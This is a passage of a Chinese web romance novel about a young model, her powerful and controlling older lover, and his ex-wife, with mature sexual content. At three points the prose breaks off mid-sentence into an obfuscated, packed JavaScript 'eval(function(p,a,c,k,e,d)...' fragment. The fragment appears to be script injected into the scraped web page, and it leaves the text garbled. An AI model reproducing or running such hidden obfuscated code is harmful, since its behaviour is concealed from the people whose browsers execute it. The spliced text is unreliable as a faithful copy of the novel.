孟绾甯手心沁出了一层薄汗,因为紧张,两颊泛起淡淡的粉。换作一个心软些的人,瞧见她这副模样,大约也不忍再说重话。 可面前这导演的眼神实在凶神恶煞,她只能将所有的害怕与委屈都压下去,轻声说:“那你知道,我背后是谁吗?” 这话说出口时,连她自己都觉得心虚。 她背后那个人,此刻正与前妻一同接受采访。况且,她也不可能真的将他的名字说出来。 不过是想借这种方式,让对方有所顾忌,哪怕只有一星半点。 导演愣了一下,然后竟笑了。 他笑得很夸张,甚至弯下了腰,像是听到了什么天大的笑话。他直起身,回头看了一眼摄影师和那些工作人员,那些人也都跟着笑了起来。那笑声在空旷的布景间里回荡,像一记记耳光,一下一下扇在孟绾甯脸上。 “你背后是谁?”导演擦了擦眼角笑出的泪,语气里满是嘲弄,“小姑娘,你知道这个棚是谁的吗?你知道我这几年在这个圈子里捧红了多少模特?我跟你说句实话,像你这样的,我一年见几十个,清高得要命,最后不还是乖乖回来求我?” 他往前走了一步,声音低下来:“你背后是谁都不好使,明白吗?这个圈子就是这样。要么你就乖乖配合,大家都有钱赚,要么你就滚蛋,从此以后别想在这个圈子里混。你自己选。” 孟绾甯站在原地,指甲深深嵌进掌心的皮肉里。 她不再说话了。 不是不想说,是说不出来了。 委屈、恐惧、羞辱,这些东西像潮水一般涌上来,堵在喉咙口,一个字都挤不出。 孟绾甯垂下头,拿起自己的包,快步走向门口。 这一次没有人拦她。可她感觉得到,那些目光黏在她的后背上,像什么甩不掉的脏东西。 直到走出那栋大楼,站在马路上,晚风像冰冷的刀片刮过脸颊,孟绾甯才终于敢大口大口地喘气。 她站在路边,看车流来来去去,霓虹灯一盏接一盏地亮起来。整个世界都在照常运转,只有她的心脏在胸腔里疯了一样地跳,只有她的眼眶在发烫。 她不过是来接一份工作而已。 结果呢。 孟绾甯蹲下身,把脸埋进膝盖里,肩膀轻轻地抖。 人在委屈的时候,总会本能地想起最亲近的人。孟绾甯从未像此刻这般,那样想见到薄瑾杉。 她掏出手机,只犹豫了一秒,便拨了出去。 听筒里传来一声又一声嘟嘟声,直到自动挂断,她都没能等到那个声音接起。 那一遍又一遍的忙音,像是敲在心上的钟,一下一下提醒着她,不要对这段关系抱以太高的期待。 可为什么呢。 明明会接李蕴仪的电话。 明明在李蕴仪说出那样引人误会的话时,纵容她任由她说下去。 明明在事业上已无需受任何人掣肘,却依旧与她捆绑在一起。 而自己呢。 明明是他的正牌女友,可就连被他承认是女朋友的身份,都不能有。 孟绾甯按灭了手机,眼泪砸在地面上,洇开一小片深色的水痕,一个人在马路边坐了很久。 她没有回蘭园,而是径直去了西城的公寓。 * 到家时,天已彻底黑透。 孟绾甯没有开灯,踢掉脚上那双细跟高跟鞋,赤足踩在微凉的地板上,摸黑走到沙发前,整个人缩了进去。 窗帘没有拉上,外面的路灯光透过玻璃窗漫进来,在地面投下一片灰白的光晕。除此之外,整个屋子都沉在幽暗里。 孟绾甯蜷在沙发上,抱着膝盖,把自己缩成很小很小的一团。 今日之事会如何收场,孟绾甯不知道。对方会不会真的在圈子里封杀她,她也不知道。 她觉得害怕、委屈,很想找一个人说说话,很想听到一个人的声音,告诉她没事的,一切都会没事的。 可是没有人接电话。 孟绾甯把脸埋进膝盖里,黑暗从四面八方涌过来,将她严严实实地裹住。 太安静了,安静得能听见自己的呼吸与心跳。那些恶心的画面一遍又一遍地在脑海里回放,怎么也关不掉。 手机忽然震动了一下。 孟绾甯一怔,几乎要哭出来。 可透过泪眼模糊的视线看去,心里那份期待旋即跌落成失落。 不是薄瑾杉发来的消息。 是梁见微。 “绾甯宝贝,明天的时间空一下,我这边对接了一个珠宝推广的活动彩排。这个珠宝是国风的,很符合你的气质。我跟主办方说好了,明天你去盯一下。” 梁见微是她的顶头上司。当初正是梁见微将她签下,又给了她许多工作机会,才让她在模特界崭露头角。 说是伯乐也不为过。 纵使再难过,送上门的工作也不能不接。孟绾甯立刻回了一条:“好的,见微姐。” 今天下午发生的插曲,估计还没传到梁见微耳中。 她们公司体量不大,梁见微只负责牵线搭桥,签合同时便已将相应的抽成拿走,后续的对接,基本都由模特本人去完成。 回过消息,孟绾甯浑身的力气仿佛也被一并抽走了。手机滑落在沙发缝隙里,她没去管。哭得有些累了,便躺在沙发上,昏昏沉沉地睡去。 不知过了多久。 指纹解锁的声音在寂静中格外清晰。 孟绾甯猛地睁开眼。 客厅的门被人从外面推开,走廊里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的目光带着审视,仿佛要将她从眼神里看穿。 “真的没听到。我回来之后就睡着了,刚才——”孟绾甯着急解释,声音带了哭腔,“应该是我睡着前不小心按到了静音。” 她慌乱地抓住薄瑾杉的手,因为怕他生气,语气里便带了几分乞求。 她的样子一看就是哭过的。 薄瑾杉看了她几眼便不再看,只将视线落在不远处,也不跟她说话。 孟绾甯小声啜泣:“你相信我,瑾杉,我怎么会故意不接你电话。” 许是她那副模样太过可怜,薄瑾杉叹了口气,揽住她的肩膀将人抱进怀里:“我又没凶你,眼睛都肿了怎么又哭?” 薄瑾杉一抱她,她便彻底忍不住了,像抓住了救命稻草,揪着他的衣领,任眼泪无声地淌进他的衣襟里。 薄瑾杉的衬衫都是定制的绝版,此刻却在她手里充当着擦泪的手帕,已被揉得皱不成形。 薄瑾杉把手掌搭在她的腰上,轻轻拍着。 等她慢慢平复下来心情,才问:“不哭了,你跟我好好说,到底发生了什么?有人欺负你了?” 孟绾甯从他怀里抬起脸,望见他柔和的目光,被那份温柔包裹着,心动得无以复加。 他可以用威严和地位向任何人施压,可此刻给她的温柔,却是这世上的稀世珍宝。 可孟绾甯更不愿给薄瑾杉添麻烦,更不想让他知道,她今天差点拿他的名字去给别人施压。 她有些心虚,摇摇头,想否认。 薄瑾杉用指腹揩去她的眼泪,脸色有些冷:“我回了家,发现你不在,给你打电话也不接,我很担心。你告诉我发生了什么事,不要瞒我,不然我就安排人去查。” 4. 京夜 孟绾甯抬起眼,拽住他的衣袖。 一般到了薄瑾杉说安排人去查的程度,便意味着他已非常生气,而一旦查出来,一系列相关的人都会遭殃。 孟绾甯害怕这样,重新扑进他怀里,说:“不要,你不要查,我告诉你。” 她将今天发生的事一五一十地说了出来。 说到导演让她做的那些动作时,尤为难以启齿,只含糊道:“我知道不能得罪他们,可让我那样,我真的做不来。” 薄瑾杉听完前因后果,脸色阴沉得像是能滴出墨来。 “绾绾。”他忽然叫她的名字。 “嗯?”孟绾甯有些懵。 “我很生气。”薄瑾杉说,“就这么几个不足挂齿的人物,能把你欺负成这样,你到底把我放在什么位置。” 孟绾甯听他说这话,心里便有了底,这是要插手管了。 她勾住他的脖子,蹭着贴在他胸膛,闷闷地说:“我把你放在最重要的位置,我怕给你添麻烦。” 就算在一起这么久,孟绾甯也时刻记着要乖巧听话。她最怕的,就是给薄瑾杉添麻烦。 薄瑾杉气笑了,掐一下她的腰:“男人是用来用的,不是用来躲的。你看外面那些女人,哪一个不是如狼似虎,生怕跟我扯不上关系。你可倒好,这么大一个人摆在你面前,都不知道用。” 孟绾甯小声反驳:“我给你打了电话的,你没接……” 其实现在想想,当时那通电话打出去,就算没接,她也可以发消息留言,薄瑾杉看到了总会回,可她却没有。 兴许是与下午看到他跟李蕴仪的采访视频有关。孟绾甯是有些较劲的,觉得他忙着管别的女人,哪里还有心思管她。 但这话万万不能说,说出来定要惹人不痛快。 “还顶嘴。”薄瑾杉捏住她的下巴,将她的脸抬起来,皱了皱眉,“所以你就自己躲着哭,还要等我来问你。” 方才孟绾甯想到的,薄瑾杉一定也想到了。 他是那样聪明的人,她比他小十六岁,这些较劲的小把戏在他面前无所遁形。 “瑾杉,我知错了。” 孟绾甯双手捧住他的脸,轻轻亲了亲他的唇瓣,贴来贴去,又在他颈窝里蹭,像只小猫似的撒娇:“你不生气,是我不对。” 薄瑾杉垂眸看着她,眼神很深,喉结上下滚动了几下,片刻才说:“你惯会哄我。” 她顿时羞了。 因为哭过,眼皮和鼻尖都是红的,这一害羞,更显得可怜。 在哄他这方面,孟绾甯其实有些无师自通。但孟绾甯其实也不确定这算不算哄,只是薄瑾杉肯吃她这一套。 像这样有权有势又有地位的男人,是不能跟他硬碰硬的,他硬,那她便要软,要多软有多软,只要把人缠得不气了,那什么都好解决。 孟绾甯细细回想起来,在一起这么久,薄瑾杉似乎真的没有对她生过很大的气。偶尔的吵架冷战都是小打小闹,她主动低头把人哄好,顶多在床上吃点苦头。 难得温情,她抱着薄瑾杉不肯松手,薄瑾杉便由着她,抱她在沙发上闭目休息。 他是真有些累了,孟绾甯能看到他紧皱的眉头,于是伸出手,在他太阳穴上变换指法轻轻按着。 没按几下,她便感到腰间的手臂力道收紧。 薄瑾杉舒适地喟叹出声。他掌心的温度变得烫了一些,隔着一层薄薄的面料,缓缓抚摸着她的后背。 半晌,薄瑾杉睁开眼,握住她的手腕,问:“晚饭吃了吗?饿不饿?” 孟绾甯自觉羞愧,摇摇头,声音软糯:“你也没吃吧,我去做。” 说着便站起来,正想往厨房走时,却被他捉住手腕按回了沙发上。 薄瑾杉看了眼她还有些泛红的手背,淡淡道:“今天我做,你休息吧。” 说罢,他便起身,挽起袖口,朝厨房走去。 家里的厨房是开放式的。孟绾甯窝在沙发上,望着薄瑾杉熟练地切菜、起锅、烧水。 薄瑾杉不常下厨,厨艺却精湛。这要追溯到他在国外留学的日子。异国的饭食乍尝尚可,吃久了便觉得油腻,那时他便练出了这一手好功夫。他姿态松弛,动作娴熟,仿佛做饭于他而言并非果腹之事,而是一件需要用心雕琢的器物。 而且薄瑾杉一定不知道,这样的时刻,他有多么让她着迷。 孟绾甯看着看着,不觉出了神。 像薄瑾杉这样的人,出门有秘书与助理随行,家中有管家与上百个佣人等候差遣,却能为了让她吃上一顿热饭而亲自下厨。 孟绾甯心里觉得,他实在当得起十佳好男人的名头。也难怪那么多女人趋之若鹜,想与他攀上关系。 饭菜很快便好了。 薄瑾杉头也没抬,淡淡道:“别看了,过来吃饭。” 孟绾甯这才意识到自己走神走得有多厉害,竟就这样盯着他看了整整一顿饭的工夫。 薄瑾杉做了两道菜,还有她爱喝的莲子银耳羹。 他吃饭时不喜说话,又因胃病的缘故,进食速度也不能太快。孟绾甯坐在他对面,随着他的节奏慢慢吃着,餐桌上只偶尔传来碗筷轻碰的声响。 孟绾甯抬起眼,偷偷觑了他一眼,见他始终垂着眸,终于忍不住小声抱怨:“看看都不行了。” 闻言,薄瑾杉掀起眼皮,明白她在说什么之后,嘴角浅浅一勾:“没说不行。”顿了顿,他又补了一句,“我哪里你没看过?” 孟绾甯显然被这句话惊到了,刚咽下去的一口莲子银耳羹差点卡在喉咙里,呛得她咳了两声。 “啧。”薄瑾杉抽了一张纸巾递过去,“小心点,慢慢吃。” 孟绾甯几乎要瞪大眼睛,分明是他先捉弄她,反倒说她不小心。 吃到尾声,薄瑾杉搁下筷子,缓缓道:“今天的事不用担心。这份工作如果你还想继续做,那就照常做,今天的事不会影响分毫。如果哪天不想做了,随时可以辞职。” 孟绾甯听了这话,抬眼望向他,目光里满是感动与依恋。 “好。”她柔声应道,“我想再做一阵子。”勺子在碗里轻轻搅着,她怕薄瑾杉觉得是她不愿意辞职。 可薄瑾杉只是“嗯”了一声,面上并无不悦之色。 想了想,孟绾甯又问:“那些人会怎么处理?” 薄瑾杉没有直接回答,反问道:“你想让他们被怎么处理?” 沉默片刻,孟绾甯说:“让他们跟我道歉,可以吗?”她握紧了筷子,指节微微泛白,“瑾杉,我没想把他们怎么样,只是想让他们知道自己做错了就行。” 薄瑾杉却说:“只是道歉太便宜他们了。不让这些腌臢货色在这个圈子里被永久封杀,已是我做出的最大让步。但日后,他们也别想再有出现在你眼前的机会。” “瑾杉,不要这样好不好?” 孟绾甯知道自己男人的实力有多强。他们家为官从政百余年,虽他志不在此,转而从商,可那么多年打下的根基还在。想要悄无声息地处理掉一个人,于他而言易如反掌。 可她不愿如此。 “绾绾,你太善良。”薄瑾杉用完餐,抽出一张纸巾擦了擦手,最终还是妥协,“那先听你的吧。” 她这才放下心来。 收拾碗筷时,孟绾甯主动揽下了洗碗的活儿。 薄瑾杉擦净桌子,却没有离开厨房,而是走到她身后,静静站了片刻。 孟绾甯怕他还有事要说,边洗碗边侧头问:“怎么了?” 等了一会儿,不见他开口。就在她以为人已悄然离去时,身后忽然覆上一片温热的暖源。 薄瑾杉从背后抱住她,抵在她挺翘的臀尖上,鼻腔里溢出一声沉沉的气息。 他低头,亲了亲她的耳垂,说:“放着我洗,你去好好泡个澡。” “嗯?”孟绾甯已经沾了手,小声说:“我马上洗完了。” 薄瑾杉手指探进她的衣服下摆,捏她细腰上滑腻的软肉,轻咬着她的后颈说:“我洗,你去把妆卸干净。” 孟绾甯这才明白他的意思。 她用手腕蹭了蹭唇上残留的唇彩,怪不得方才在沙发那里氛围那么好,薄瑾杉却一直没亲她。 薄瑾杉一向喜欢她不施粉黛的模样,只要在家,从不许她化妆。那种不加雕琢的原始之美,能让他看清脆弱毛细血管下被刺激出的最直接的反应,哪里红了,哪里粉了,都一览无余,从而激起他骨子里的控制欲。 方才被他那一咬,孟绾甯已软了半边身子。索性不洗了,脱了手套,拿过水池边的小手巾擦干手,转过身,抬起手臂,主动搂住了薄瑾杉的脖子。 她身形纤细,这样抱着,身体的宽度也就只及薄瑾杉的三分之二。 薄瑾杉见她这般黏人,胸腔里滚出一声低沉的笑。他抚着她的腰,将她更紧地按向自己,问道:“不跟我闹脾气了?” “我哪有闹脾气……”孟绾甯抿紧唇,不肯认。 薄瑾杉也不与她计较,托着她的臀,一下将人抱了起来。 两人的视线瞬间换了位。孟绾甯双腿夹在他腰侧,手臂搭在他肩头,低头望进他的瞳孔深处,就这样被他抱着进了浴室。 薄瑾杉替她调好水温,放满一缸热水。末了要帮她脱衣服,被她红着脸推了出去。 孟绾甯躺进浴缸里,感受温热的水流在肌肤上缓缓流淌,一头漆黑的长发铺散在身后。 她喜欢把水温调得高一些,最好能蒸得整张脸都红彤彤的。 孟绾甯在心里暗暗想,如果没有薄瑾杉替她撑腰,日后若再遇上今天这样的事,她也只能因咖位太小而忍气吞声,不知那帮人会在背后如何编排她、搓磨她。 被薄瑾杉的体贴与细致入微这般温水煮青蛙,孟绾甯觉得自己正逐渐画地为牢。 薄瑾杉的控制欲从不是一蹴而就,而是在日复一日的掌控中,结成了一面密不透风的网。 她逃不掉,也离不开。 心里正有些乱,孟绾甯从浴缸里起身时带出了不少水。浴室地板湿滑,她光着脚走出来,想去够架子上挂着的毛巾,却不小心绊了一下。 “咚”的一声闷响,整个人磕在了浴缸边沿。孟绾甯托着腰撑在地上,疼得一时连声音都发不出来。 约莫过了十几秒,浴室门从外面叩响。 “绾绾。”薄瑾杉在门外叫了一声,“我进来了。” 推开门,映入眼帘的却是她□□着伏在地上,一手撑着腰,眉目间尽是痛楚。 薄瑾杉脸色骤然沉下去,从架子上扯过浴巾,将她从头到脚裹住,打横抱起,放回床上。 这一回,薄瑾杉是当真动了气。眼尾微微下压,唇角抿成一条线,一言不发地掀开浴巾,仔细检视她伤在何处。 指尖按上后腰的那一瞬,孟绾甯嘶了一声,手探过去握住他的手腕,轻轻说了句疼。 “还知道疼。” 薄瑾杉眉峰紧蹙,手上却并未停歇,挨个按压她身上的其他关节,“一小会看不见你人就给我伤成这样,你最近到底怎么了,这么心不在焉,两天功夫伤到两次了。” 孟绾甯小声抽着气,委屈道:“这回真是不小心,我没看到地上有水。” 薄瑾杉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟绾甯实在太困了。可薄瑾杉体魄健硕,远未餍足,她眼睫一垂便要睡去,又被他咬住唇瓣唤醒。 薄瑾杉不肯她先睡。 又过了大约一个多小时,已经半夜两点多了。 孟绾甯累得连指尖都抬不起来,浑身软绵绵的,由着薄瑾杉抱去冲洗。红花油早被汗水浸透,又在水流中洗去。 薄瑾杉也不嫌疲惫,换了干净的床单,重新替她涂了药,这才将她拢进怀里,沉沉入眠。 * 这一夜睡得并不安稳。 日有所思,夜有所梦。许是白日里经历了太多,孟绾甯做了一个从未做过的梦。 她梦见自己与薄瑾杉结了婚。 她的生日在十一月,再过八个月便满二十一岁,已经到了法定婚龄。虽然她从未在他面前提起过对婚姻的期许,可哪个女孩子,不想与自己心爱的男人携手步入殿堂。 梦里的薄瑾杉目光温柔,含情脉脉地注视着她。在牧师的祷告声中,他将戒指缓缓推上她的无名指。素白的银圈套住她的指节,在日光下折射出细碎的光芒。而后,他在她唇边落下一枚轻轻浅浅的吻。 那样美好。 可转瞬之间,场景忽地变了。孟绾甯不知怎的到了台下,聚光灯仍亮晃晃地打在婚礼舞台中央,而她四周却骤然暗了下去。 她看见薄瑾杉身边站着的女人换成了李蕴仪。李蕴仪含笑倚在他肩头,台下的亲朋好友无不挂着祝福的笑容,那场面,要多和谐,便有多和谐。 孟绾甯拼命摇头,想要告诉所有人,今日的新娘是她,不是李蕴仪。薄瑾杉要娶的,也是她。可她张开嘴,竟一丝声音也发不出来。 黑暗与无形的玻璃将她困在一寸天地之中,孟绾甯走不出去,也无法呼救。她用尽浑身解数,也没能让任何人发现她的存在。 在万众瞩目之下,她成了彻头彻尾的小丑。 那股无力感裹挟着她,冷汗涔涔而下。莫大的恐慌萦绕在心头,她感到腰被狠狠勒住,几乎喘不上气,却毫无办法。 泪眼朦胧之间,孟绾甯忽然从梦中惊醒。 天已经亮了。阳光透过窗帘,光线恰好落在她的眼皮上,刺得她一时分不清梦境与现实。 她是被薄瑾杉摸醒的。 薄瑾杉晨起的反应颇为明显,昨夜因为她伤了腰,他显然没有尽兴。此刻正不紧不慢地啃咬着她的后颈,手掌有一搭没一搭地抚过她的身体。 孟绾甯能感觉到,覆在后腰上的那片面积,比往日还要更多一些。 她刚从那样不好的梦境里抽身,心里疼得要命,又被薄瑾杉这般撩拨,一时悲从中来。 感受到脖子一疼,孟绾甯恍然回过神,迷迷糊糊想起今天梁见微今天给她安排的彩排,于是挣扎了一下,伸出手在身后挡了一下,说:“今天有拍摄,不能有痕迹。” 她这阻挡的动作聊胜于无,更像是欲拒还迎。 薄瑾杉一直在等她醒,忍得有些不舒服,没顾她拒绝,只说:“涂遮瑕。” 她不肯,挣扎的动作也大了一些。 薄瑾杉再度咬上去的时候,孟绾甯语气中带了些情绪,难得抗拒地推了推他,说:“不要。” 她抗拒的姿势太明显。 薄瑾杉停下动作,不耐地皱起眉,一条胳膊撑在枕间,半坐起身,将她翻了个身,目光沉沉地注视着她。 孟绾甯固执地垂下眼,不肯直视他。 薄瑾杉没说话,也没问她,脸色瞬间冷了下来,一言不发地起身去了浴室。 5. 京夜 男欢女爱的床第之事,她虽不主动,但也从未拒绝过他。 这是第一次,她这般明目张胆地使起了小性子。 浴室里传来水流声,孟绾甯懊恼地咬住手指。方才薄瑾杉起身时,她看得分明,他已忍耐到了极限。 以往薄瑾杉出差回来,总要她把之后的三天空出来,除了夜里亲热,清晨通常也不会放过她。这回大约是看她接二连三地受伤,才有意克制了几分,没成想被她弄巧成拙。 只是那个梦实在搅得她心烦意乱,她不知这算不算梦境给的提示,觉得自己或许该与他提一提婚期的事。可这种事,女孩子主动总归是不好。她虽爱他,却不想让他觉得自己上赶着要嫁给他,那样太掉价。 或许只有像李蕴仪那样的女人,才能无所顾忌地与他结婚又离婚,还能在采访场合当着他的面,说出那般惹人遐想的话。 孟绾甯翻了个身,腰间昨日磕到的地方,经薄瑾杉按揉之后已好了许多,除了微微酸疼,并无其他不适。想到这儿,她愈发后悔方才那番举动。 水流声响着的时间比往常更久,停下之后,薄瑾杉并没有立刻出来。 孟绾甯披了件外衣,将头发拢到一侧垂在胸前,低着头替薄瑾杉整理待会儿出门要穿的西服。 薄瑾杉的衣服都是私人订制,不论是内衬还是外衣,领口处都印着刺绣,那是一个“薄”字,代表的是薄瑾杉,也代表薄家,他为她定制的那些衣服,也同样有这些标志。 孟绾甯很喜欢这个标志,这也是她为什么喜欢穿他为她定制衣服的缘故,穿上带有薄字印记的衣服,便觉自己是薄瑾杉的人,是真真切切被他放在心上的。 她这边的浴室比不上蘭园,面积不大,放了一个浴缸便有些局促,洗手池便设在外面,与主卧直接相连。 薄瑾杉洗完澡出来,站在洗手池的镜子前。 他只在腰间系了一条浴巾,身上的水汽还没有散去,头顶的发丝全部被他撩至脑后,还没吹干,有几滴水珠沿着他背部虬结的肌肉,一路滑到腰际,最后隐没在浴巾后。 浴巾只到他大腿,他一走动,结实的股四头肌起伏,腿部每一束肌肉的纹理都清晰可辨。 男人性感硬实的身躯,每一处都足以让她面红耳热。 孟绾甯甚至能想起他的腰腹核心力量,是怎样将她彻底征服的。 她手里拿着为他选的那件外套,愣愣地站在原地,像是在回味,沉溺在他周身散发的荷尔蒙气息中,默默地感知着。 直到薄瑾杉出声提醒:“还没看够?” 他正对着镜子,能够清晰无遗地捕捉到她每一个细微的表情。 孟绾甯一下从镜子中跟他对视,原本以为自己只是偷偷沉迷,却没想到这些狼狈的悸动和难以自控,全都落入了他的眼底。 “看、看够了。”孟绾甯低下头,不自觉想绞紧手指,心里有些慌,却又直觉应该做些什么。于是先把衣服放在床上,上前两步,牵住薄瑾杉的手,细声解释:“今天是有一个珠宝拍摄的彩排,见微姐说挺重要的,所以我才……” 话没说完,孟绾甯又看向镜子里,不知为何,她感觉到解释了之后,薄瑾杉反而愈发不悦。 薄瑾杉看她一眼,她身上的吊带睡裙还是他昨晚亲手给她换上的,此时却看着无比碍眼。 “我刚回来那天,你说想我,”薄瑾杉拨开她的手,自嘲地笑了笑,“我看你也没多想我。” 孟绾甯被推开手,也不恼,从身后重新环住薄瑾杉的腰,手指搭在他的腹肌上无意识抓了抓,温热的脸蛋贴在他的背部。 薄瑾杉刚才洗的是冷水澡,此时体温还是凉的。 “我想你的。”她说。 薄瑾杉扯开她的手,说:“昨天招呼都不打一声就跑回来,这次又因为活动推开我,我还没有一个活动重要。” 他说完点了点头,继续说:“我没见过这样的想我。” 孟绾甯知道他是因为觉得她太在意工作不高兴,之前不是没有因为这些事吵过架,她努努嘴,巴巴地再度贴上去,膏药似的,推开,缠上去,再推开,再缠上去。 重复了几遍之后,薄瑾杉眉间隐约有了烦躁之意,他闭了闭眼,拄着洗手池的边缘,静止了几秒,拍了拍她的手,说:“松开。” 孟绾甯不肯松。 他说:“既然活动那么重要,那就别招我。” 后来终于不闹了,孟绾甯便安静下来,垂着眼皮,一件一件帮他穿准备好的衣服。 薄瑾杉也不着急,看她一副温软恬静、娇柔似水的模样,由着她摆弄自己。 那双白皙的手十分灵巧,替薄瑾杉系上衬衫纽扣,打好领带,扣好袖扣。 这些孟绾甯都做的很熟练,就像寻常的妻子要送外出的丈夫那样,让人觉得妥帖、舒适,处处透着家常的温柔。 * 薄瑾杉前脚出门,孟绾甯后脚就跟着出去了。 她去了趟富华斋,买些糕点。店铺老板知道她来,贴心地将她请进包厢落座。 “先生没一起来?”老板热情地与她寒暄。 “嗯,他忙。”孟绾甯温婉一笑。这家店的糕点她爱吃,从前上学时,薄瑾杉陪她来过几回,一来二去便与老板熟识了。 老板知晓她是薄瑾杉的人,自然对她格外重视。 做这门生意的人,惯知道什么话该说、什么话不该说,甭管此刻对她多么热情周全,出了这道门,人家照样不会多嘴半句闲话。 “绾小姐下回打个电话,我们直接给您送上门,不用这么麻烦跑一趟。”老板不知孟绾甯的全名,只常听薄瑾杉唤她绾绾,便也跟着叫一声绾小姐。 “不麻烦。” 孟绾甯一笑,眉眼弯弯,安安静静坐在那里,不争不抢,怎么看都是恬静娴雅。 老板没忍住多看了两眼,心下暗道怪不到薄先生会栽在她身上,哪个男人不喜欢温柔乡,况且还是这么纯欲的,纯到极致那就是另一种极致的性感。 买好糕点,孟绾甯回了趟公司。 先去化妆间,把糕点分了些给任萱,托她拿去给大家尝尝。 任萱知道孟绾甯这是因为昨天迟到的事过意不去,忙说不必客气,大家都是同事,相互照应是应该的。那些平日里没怎么与她打过交道的化妆师,也纷纷热络起来,上前寒暄。 孟绾甯有些应付不来这样的场面,别人说什么她接不上话,便只能微笑回应。气氛倒也算融洽,后来她寻了个由头,才得以脱身。 她提着另一盒糕点去见了梁见微。本想将昨天的事与她说一声,没承想,刚踏进梁见微的办公室,便被人抱了个满怀。 “绾甯宝贝,让你受委屈了!昨天的事我听说了,这帮人真是不识好歹!”梁见微一头棕色大波浪卷,踩着一双红色高跟鞋,一身职业套装,说话的语气同她的模样一般,爽朗又仗义。 孟绾甯将糕点放在办公桌上,被梁见微拉着坐到沙发上。梁见微叮嘱她:“下次再遇到这种事,你直接给我打电话。咱们都签了合约的,是他们不按规矩办事,咱也不能客气。” “没事的,见微姐。”孟绾甯说。 “昨天他们对你做什么了没有?” 孟绾甯摇摇头:“没有。昨天我觉得那样不合适,就提前回去了。”说到这里,她有些不好意思,“见微姐,不管怎样,这次合作算是我单方面毁约在先,损失我一人承担。定金和违约金要多少,您只管说。” 薄瑾杉这几年给她置办过许多信托和基金,她不懂这些,里面的钱从未动过,也不知究竟有多少。 不过薄瑾杉素来大方,给她的只可能多不可能少,赔付一个小合约,定然是绰绰有余的。 谁知梁见微摆了摆手:“赔个球球!不光咱们不给他赔,还得他给咱们赔。” 孟绾甯不解其意,疑惑地看着她。 “你来之前,我刚接到品牌方的电话。品牌方说是他们没有做好背调,才让这帮人钻了空子,他们会正常走起诉流程。”梁见微清了清嗓子,“这家摄影公司,在业内早就臭名昭著了。听说是上面有人要查,但最后留了一手,要不然现在估计已在业内被通告全面封杀了。总之你不用担心了,这次的活动会找其他模特去对接。你最近先安心做珠宝那个。” “也不知道怎么就那么巧,昨天刚出事,今天就查到他。真是若要人不知,除非己莫为啊……” 梁见微还在念叨着。 孟绾甯心里已有了盘算。她没想到薄瑾杉的效率如此之高。昨晚才与他说完这些事,明明两人一整夜都待在一起,她竟完全不知他是什么时候开始着手处理的。 从梁见微的办公室出来,手机便响了。 孟绾甯接起,轻轻“喂”了一声。 那头沉默了几息,才试探着开口:“请问是孟小姐吗?” “我是。” 对方先自报了家门,说了一个名字。孟绾甯在记忆中搜寻了一圈,并无印象。紧接着,那人切入了正题,是来道歉的,语气要多诚恳有多诚恳。 孟绾甯这才听出来,电话那头正是昨日那个导演。 “实在是对不住,孟小姐,昨天是我们不对,给您道歉了。是我们有眼不识泰山,还请您高抬贵手,大人不记小人过,留我们一口饭吃啊。以后我们一定遵守行业规矩,绝不会再出这种问题了。” 导演絮絮叨叨地说了一长串,又提起昨日听她说背后有人,还以为是句玩笑话,没想到竟是真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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薄瑾杉送李蕴仪珠宝,半夜接李蕴仪的电话哄人家,还在采访上任由对方胡编乱造,她都没说什么,而她只是因为工作需要拒绝一次他的求欢,就被他这样无端猜忌。 一路无言到了三里屯。 车停在路口,不方便停太久。 孟绾甯准备下车时,徐胜说:“小姐,我就在停车场等着,结束后给我发个消息,我过来接你。” 孟绾甯神色有些黯淡,低声说了个嗯,这才下了车。 抵达活动场地后,孟绾甯先给负责人打了个电话。 对方是一位很热情的女生,看上去与她年纪相仿,梳着利落的马尾辫,说话做事都透着干练。 负责人将她带到化妆室,安排了专业化妆师和造型团队。 孟绾甯不是第一次接这种大型活动,多少有些经验,知道这时候要听安排。无论是妆容还是穿着,主办方都有统一的规划。 正忙活着,化妆室里忽然传来不少吸气声。原本还有些嘈杂的氛围瞬间安静下来。 一阵女声由远及近,那声音凌厉,听得人不免蹙眉:“场地的所有鲜花都要换成白玫瑰,我说了多少遍了?这点小事都做不好,你们干脆别干了!” “李总,是这样的,今天只是彩排,还没到正式展览。这么早就用鲜花,成本会不会有点太高了?” 李蕴仪踩着高跟鞋走进化妆间,身旁跟着一名男士,正焦头烂额地与她解释。 “你们对一次活动的要求就这么低?”李蕴仪语速很快,言辞犀利,“无论哪一个细节,彩排的时候都要定好。鲜花的味道、新鲜程度、摆放位置,会不会出现什么突发情况。彩排这么不重视,难道要等到正式活动影响了客户再改吗,那到时候谁来承担这个责任。” 话音刚落,李蕴仪将手里的文件“啪”地一声摔在化妆台上,震得一屋子人大气都不敢出。 “好的李总,我这就去办。”那名男士额头冒出汗,没敢再对李蕴仪的话提出质疑。 “还有,”李蕴仪突然一顿,问道:“接送陆先生的车准备好了没有?” “都准备好了。” “好,你安排人全程盯着点,这次活动是国风珠宝推广,这是我们的文化,所以各方都很重视,不要出现任何纰漏。” “是,李总。”那名男士领了任务就匆匆离开。 化妆负责人迎了上去,向李蕴仪汇报模特准备的情况。 至此,孟绾甯才明白过来,这次活动幕后的负责人,竟是李蕴仪。 李蕴仪翻着模特简历,环视一圈,目光掠过在场众人,最后定格在孟绾甯的脸上。 6. 京夜 孟绾甯不知该作何表情。 